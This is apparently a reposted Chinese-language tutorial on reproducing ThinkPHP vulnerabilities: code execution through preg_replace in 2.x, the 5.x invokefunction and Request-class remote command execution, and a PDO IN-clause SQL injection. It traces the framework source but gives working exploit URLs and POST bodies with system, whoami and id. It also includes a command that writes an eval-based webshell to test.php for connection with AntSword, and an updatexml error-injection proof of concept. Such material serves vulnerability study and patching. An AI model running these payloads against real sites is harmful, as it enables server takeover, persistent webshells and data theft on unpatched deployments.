您好,登錄后才能下訂單哦!
本篇內容主要講解“ThinkPHP漏洞復現實例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“ThinkPHP漏洞復現實例分析”吧!
ThinkPHP是一個免費開源的,快速的,簡單的面向對象的國產輕量級PHP開發框架。
ThinkPHP遵循Apache2開源協議發布,是為了敏捷WEB應用開發和簡化企業級應用開而誕生的,具有免費開源,快速簡單及面向對象等眾多的優秀功能和特性。ThinkPHP經歷了五年多發展的同時,在社區團隊的積極參與下,在易用性,擴展性和性能方面不斷優化和改進,眾多的典型案例確保可以穩定用于商業以及門戶的開發。
ThinkPHP借鑒了國外很多優秀的框架和模式,使用面向對象的開發結構和MVC模式,采用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標簽庫),ROR的ORM映射和ActiveRecord模式;封裝了CURD和一些常用操作,在項目配置,類庫導入,模板引擎,查詢語言,自動驗證,視圖模型,項目編譯,緩存機制,SEO支持,分布式數據庫,多數據庫連接和切換,認證機制和擴展性方面均有獨特的表現。
使用ThinkPHP,可以更方便和快捷的開發和部署應用。ThinkPHP本身具有很多的原創特性,并且倡導大道至簡,開發由我的開發理念,用最少的代碼完成更多的功能,宗旨就是讓WEB應用開發更簡單,更快速!
下載ThinkPHP后解壓完成會形成兩個文件夾:ThinkPHP和Examples。
ThinkPHP無需單獨安裝,將ThinkPHP文件夾FTP至服務器Web目錄或拷貝至本地Web目錄下面即可。
ThinkPHP.php:框架入口文件
Common:包含框架的一些公共文件,系統定義,系統函數和慣例配置等
Conf:框架配置文件目錄
Lang:系統語言文件目錄
Lib:系統基類庫目錄
Tpl:系統模板目錄
Extend:框架擴展s
ThinkPHP可以支持Windows/Unix服務器環境,可以運行包括Apache,IIS和nginx在內的多種WEB服務器和多種模式。需要PHP5.2.0以上版本支持,支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種數據庫和連接。
ThinkPHP本身沒有什么特別模塊要求,具體的應用系統運行環境要求視開發所涉及的模塊。ThinkPHP底層運行的內存消耗極低,而本身的文件大小也是輕量級,因此不會出現空間和內存占用的瓶頸。
preg_replace函數:
preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])
搜索subject中匹配pattern的部分,以replacement進行替換。
$pattern:要搜索的模式,可以是字符串或者一個字符串數組
$replacement:用于替換的字符串或者數組
$subject:用于替換的目標字符串或者數組
$limit:可選,對于每個模式用于每個subject字符串的最大可替換數。默認是-1
$count:可選·,為替換執行的次數
返回值:
如果subject為一個數組,則返回一個數組,其他情況下返回一個字符串。
如果匹配被查找到,替換后的subject被返回,其他情況下,返回沒有改變的 subject,如果發生錯誤返回NULL
正則表達式:https://www.runoob.com/regexp/regexp-syntax.html
訪問頁面,發現是一個Thinkphp的cms框架,由于是漏洞復現,我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過亂輸入徑進行報錯,或是使用云悉指紋識別進行檢測
此時輸入已經爆出的遠程代碼執行命令即可浮現漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))} //此為一句話連菜刀
這里只要將phpinfo()換成一句話木馬即可成功!
1)通過觀察這句話,我們可以清楚的知道它是將
${@phpinfo()}
作為變量輸出到了頁面顯示,其原理,我通過freebuf總結一下:
在PHP當中, ${} 是可以構造一個變量的, {} 寫的是一般字符,那么就會被當作成變量,比如 ${a} 等價于 $a
thinkphp所有的主入口文件默認訪問index控制器(模塊)
thinkphp所有的控制器默認執行index動作(方法)
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...]
數組$var在路徑存在模塊和動作時,會去除前面兩個值。而數組$var來自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。
所以我們構造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}.......
2)換而言之,就是在thinphp的類似于MVC的框架中,存在一個Dispatcher.class.php的文件,它規定了如何解析路由,在該文件中,存在一個函數為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當我們輸入的URL作為變量傳入時,該URL映射控制器會將變量以數組的方式獲取出來,從而導致漏洞的產生。
類名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 獲得服務器的PATH_INFO信息
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模塊名稱
static private function getGroup($var) 獲得實際的分組名稱
漏洞簡介
ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個系列,系列不同,復現漏洞時也稍有不同。
在ThinkPHP 5.x中造成rce(遠程命令執行)有兩種原因
1.路由對于控制器名控制不嚴謹導致RCE、
2.Request類對于調用方法控制不嚴謹加上變量覆蓋導致RCE
首先記錄這兩個主要POC:
控制器名未過濾導致rce
function為反射調用的函數,vars[0]為傳入的回調函數,vars[1][]為參數為回調函數的參數
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
核心類Request遠程代碼執行漏洞
filter[]為回調函數,get[]或route[]或server[REQUEST_METHOD]為回調函數的參數,執行回調函數的函數為call_user_func()
核心版需要開啟debug模式
POST /index.php?s=captch
_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_ method=_construct&method=get&filter[]=system&get[]=pwd
控制器名未過濾導致RCE
0x01 簡介
2018年12月9日,ThinkPHP v5系列發布安全更新v5.0.23,修復了一處可導致遠程代碼執行的嚴重漏洞。在官方公布了修復記錄后,才出現的漏洞利用方式,不過不排除很早之前已經有人使用了0day
該漏洞出現的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調用到ThinkPHP框架內部的敏感函數,進而導致getshell漏洞
最終確定漏洞影響版本為:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
理解該漏洞的關鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過下面格式進行解析URL
http://serverName/index.php(或者其它應用入口文件)/模塊/控制器/操作/[參數名/參數值...]
同時在兼容模式下ThinkPHP還支持以下格式解析URL:
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...](參數以PATH_INFO傳入)
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[&參數名=參數值...] (參數以傳統方式傳入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
本次漏洞就產生在未匹配到路由的情況下,使用兼容模式解析url時,通過構造特殊url,調用意外的控制器中敏感函數,從而執行敏感操作
下面通過代碼具體解析ThinkPHP的路由解析流程
0x02 路由處理邏輯詳細分析
分析版本: 5.0.22
跟蹤路由處理的邏輯,來完整看一下該漏洞的整體調用鏈:
thinkphp/library/think/App.php
116行,通過routeCheck()方法開始進行url路由檢測
在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過$_SERVER['PATH_INFO']獲取到的主要path信息,==$_SERVER['PATH_INFO']會自動將URL中的""替換為"/",導致破壞命名空間格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息會通過get的方式獲取,var_pathinfo的值默認為's',從而繞過了反斜杠的替換==,這里也是該漏洞的一個關鍵利用點
檢測邏輯:如果開啟了路由檢測模式(配置文件中的url_on為true),則進入路由檢測,結果返回給$result,如果路由無效且設置了只允許路由檢測模式(配置文件url_route_must為true),則拋出異常。
在兼容模式中,檢測到路由無效后(false === $result),則還會進入Route::parseUrl()檢測路由。我們重點關注這個路由解析方式,因為該方式我們通過URL可控:
放回最終的路由檢測結果$result($dispath),交給exec執行:
$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由檢測
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 開啟路由
……
// 路由檢測(根據路由定義返回不同的URL調度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由無效
throw new RouteNotFoundException();
}
}
// 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
thinkphp/libary/think/Route.php
跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式
$url主要同通過parseUrlPath()解析,跟蹤該函數發現程序通過斜杠/來劃分模塊/控制器/操作,結果為數組形式,然后將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]數組,作為App.php中$dispatch2值,并傳入exec()函數中
注意這里使用的時 斜杠/來劃分每個部分,我們的控制器可以通過命名空間來調用,命名空間使用反斜杠\來劃分,正好錯過,這也是能利用的其中一個細節
/**
* 解析模塊的URL地址 [模塊/控制器/操作?]參數1=值1&參數2=值2...
* @access public
* @param string $url URL地址
* @param string $depr URL分隔符
* @param bool $autoSearch 是否自動深度搜索控制器
* @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
{
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url); //解析URL的pathinfo參數和變量
$route = [null, null, null];
if (isset($path)) {
// 解析模塊,依次得到$module, $controller, $action
……
// 封裝路由
$route = [$module, $controller, $action];
}
return ['type' => 'module', 'module' => $route];
}
thinkphp/library/think/Route.php
private static function parseUrlPath($url)//line:1284-1302
{
// 分隔符替換 確保路由定義使用統一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模塊/控制器/操作?]參數1=值1&參數2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模塊/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}
路由解析結果作為exec()的參數進行執行,追蹤該函數
thinkphp/library/think/App.php
追蹤exec()函數,傳入了$dispatch,$config兩個參數,其中$dispatch為['type' => 'module', 'module' => $route]
因為 type 為 module,直接進入對應流程,然后執行module方法,其中傳入的參數$dispatch['module']為模塊\控制器\操作組成的數組
跟蹤module()方法,主要通過$dispatch['module']獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過程中除了做小寫轉換,沒有做其他過濾操作==
$controller將通過Loader::controller自動加載,這是ThinkPHP的自動加載機制,只用知道此步會加載我們需要的控制器代碼,如果控制器不存在會拋出異常,加載成功會返回$instance,這應該就是控制器類的實例化對象,里面保存的有控制器的文件路徑,命名空間等信息
通過is_callable([$instance, $action])方法判斷$action是否是$instance中可調用的方法
通過判斷后,會記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續調用,并更新當前$request對象的action
最后$call將被傳入self::invokeMethod($call, $vars)
protected static function exec($dispatch, $config)//line:445-483
{
switch ($dispatch['type']) {
……
case 'module': // 模塊/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
……
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
public static function module($result, $config, $convert = null)//line:494-608
{
……
if ($config['app_multi_module']) {
// 多模塊部署
// 獲取模塊名
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
}
……
// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 獲取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 設置當前請求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
……
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
// 獲取當前操作名
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 執行操作方法
$call = [$instance, $action];
// 嚴格獲取當前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
先提前看下5.0.23的修復情況,找到對應的commit,對傳入的控制器名做了限制
thinkphp/library/think/App.php
跟蹤invokeMethod,其中 $method = $call = [$instance, $action]
通過實例化反射對象控制$instace的$action方法,即控制器類中操作方法
中間還有一個綁定參數的操作
最后利用反射執行對應的操作
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 靜態方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
以上便是ThinkPHP5.0完整的路由檢測,
0x03 弱點利用
如上我們知道,url 路由檢測過程并沒有對輸入有過濾,我們也知道通過url構造的模塊/控制器/操作主要來調用對應模塊->對應的類->對應的方法,而這些參數通過url可控,我們便有可能操控程序中的所有控制器的代碼,接下來的任務便是尋找敏感的操作
thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = [])//line:311-320
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 記錄執行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
該函數通過ReflectionFunction()反射調用程序中的函數,這就是一個很好利用的點,我們通過該函數可以調用系統中的各種敏感函數。
找到利用點了,現在就需要來構造poc,首先觸發點在thinkphp/library/think/App.php中的invokeFunction,我們需要構造url格式為模塊\控制器\操作
模塊我們用默認模塊index即可,首先大多數網站都有這個模塊,而且每個模塊都會加載app.php文件,無須擔心模塊的選擇
該文件的命名空間為think,類名為app,我們的控制器便可以構造成\think\app。因為ThinkPHP使用的自動加載機制會識別命名空間,這么構造是沒有問題的。
操作直接為invokeFunction,沒有疑問
參數方面,我們首先要觸發第一個調用函數,簡化一下代碼再分析一下:
第一行確定 $class 就是我們傳入的控制器\think\app實例化后的對象
第二行綁定我們的方法,也就是invokefunction
第三方就可以調用這個方法了,其中$args是我們的參數,通過url構造,將會傳入到invokefunction中
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
然后就進入我們的invokefunctio,該函數需要什么參數,我們就構造什么參數,首先構造一個調用函數function=call_user_func_array
call_user_func_array需要兩個參數,第一個參數為函數名,第二個參數為數組,var[0]=system,var[1][0]=id
這里因為兩次反射一次回調調用需要好好捋一捋。
復現成功
0x01 漏洞原理
ThinkPHP是一款運用極廣的PHP開發框架,其版本5中,由于沒有使用正確的控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下),可以執行任意方法,從而導致遠程命令執行漏洞。
0x02 漏洞影響版本
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
0x03 漏洞復現
可以利用點:
http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
vars[0]用來接受函數名,vars[1][]用來接收參數
如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
會在屏幕上打出123和我們輸入的字符串長度
寫入一句話木馬getshell
使用file_put_contents函數寫入shell:
vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php
使用蟻劍成功getshell!
0x01 了解的知識:
pdo預編譯:
當我們使用mysql語句進行數據查詢時,數據首先傳入計算機,計算機進行編譯之后傳入數據庫進行數據查詢
(我們使用的是高級語言,計算機無法直接理解執行,所以我們將命令或請求傳入計算機時,計算機首先將我們的語句編譯成為計算機語言,之后再進行執行,所以如果不編譯直接執行計算機是無法理解的,如傳入select函數,沒編譯之前計算機只認為這是五個字符,而無法理解這是個查詢函數)
如此說來,我們每次查詢時都需要先編譯,這樣會加大成本,并且會存在sql注入的可能,所以有一定危險。
如此,我們進行查詢數據庫數據時使用預編譯,例如:
select ? from security where tables=?
此語句中?代表占位符,在pdo中表示之后綁定的數據,此時無法確定具體值
用戶在傳入查詢具體數值時,計算機首先將以上的查詢語句進行編譯,使其具有執行力,之后再對于?代表的具體數值就不進行編譯而直接進行查詢,所以我們在?處利用sql注入語句代替時,就不具有任何效力,甚至傳入字符串時還會報錯,而預編譯還可以節省成本,即上面語句除了查詢數值只編譯一次,之后進行相同語句查詢時直接使用,只是查詢具體數值改變。所以這種預編譯的方式可以很好的防止sql注入。
漏洞上下文如下:
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
如上述代碼,如果我們控制了in語句的值位置,即可通過傳入一個數組,來造成SQL注入漏洞。
文中已有分析,我就不多說了,但說一下為什么這是一個SQL注入漏洞。IN操作代碼如下:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 處理帶非單詞字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查詢
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
可見,$bindName在前邊進行了一次檢測,正常來說是不會出現漏洞的。但如果$value是一個數組的情況下,這里會遍歷$value,并將$k拼接進$bindName。
也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL注入漏洞。那么,為什么原文中說測試SQL注入失敗呢?
這就是涉及到預編譯的執行過程了。通常,PDO預編譯執行過程分三步:
prepare($SQL)編譯SQL語句
bindValue($param, $value)將value綁定到param的位置上
execute()執行
這個漏洞實際上就是控制了第二步的$param變量,這個變量如果是一個SQL語句的話,那么在第二步的時候是會拋出錯誤的:
所以,這個錯誤“似乎”導致整個過程執行不到第三步,也就沒法進行注入了。
但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下代碼:
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
var_dump($e);
}
執行發現,雖然我只調用了prepare函數,但原SQL語句中的報錯已經成功執行:
究其原因,是因為我這里設置了PDO::ATTR_EMULATE_PREPARES => false。
這個選項涉及到PDO的“預處理”機制:因為不是所有數據庫驅動都支持SQL預編譯,所以PDO存在“模擬預處理機制”。如果說開啟了模擬預處理,那么PDO內部會模擬參數綁定的過程,SQL語句是在最后execute()的時候才發送給數據庫執行;如果我這里設置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會模擬預處理,參數化綁定的整個過程都是和Mysql交互進行的。
非模擬預處理的情況下,參數化綁定過程分兩步:第一步是prepare階段,發送帶有占位符的sql語句到mysql服務器(parsing->resolution),第二步是多次發送占位符參數給mysql服務器進行執行(多次執行optimization->execution)。
這時,假設在第一步執行prepare($SQL)的時候我的SQL語句就出現錯誤了,那么就會直接由mysql那邊拋出異常,不會再執行第二步。我們看看ThinkPHP5的默認配置:
...
// PDO連接參數
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...
可見,這里的確設置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構造如下POC,即可利用報錯注入,獲取user()信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你將user()改成一個子查詢語句,那么結果又會爆出Invalid parameter number: parameter was not defined的錯誤。因為沒有過多研究,說一下我猜測:預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數據的 ,也就是說不會從表中將真實數據取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸數據,但類似user()這樣的數據庫函數的值還是將會編譯進SQL語句,所以這里執行并爆了出來。
到此,相信大家對“ThinkPHP漏洞復現實例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。